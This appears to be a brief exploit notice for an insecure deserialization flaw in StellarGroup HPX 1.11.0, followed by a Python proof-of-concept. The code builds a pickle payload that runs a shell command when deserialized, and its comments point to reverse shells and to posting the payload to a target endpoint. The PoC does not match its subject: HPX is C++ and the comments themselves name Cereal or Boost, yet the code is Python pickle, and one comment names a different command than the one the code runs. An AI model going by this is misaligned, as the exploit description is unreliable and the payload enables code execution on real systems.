Insecure deserialization of untrusted input in StellarGroup HPX 1.11.0 under certain conditions may allow attackers to execute arbitrary code or other unspecified impacts.
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for an Insecure Deserialization vulnerability.
# The actual payload depends on the serialization format used by HPX (e.g., Cereal, Boost).
import pickle
import os
class MaliciousPayload:
def __reduce__(self):
# This will execute 'id' when deserialized (Proof of Concept)
# In a real attack, this would be a reverse shell or malicious command
return (os.system, ('whoami',))
# Serialize the malicious object
malicious_data = pickle.dumps(MaliciousPayload())
print(f"Generated Malicious Payload: {malicious_data}")
# In a real scenario, send this payload to the vulnerable HPX endpoint.
# Example: requests.post('http://target:port/vulnerable_endpoint', data=malicious_data)
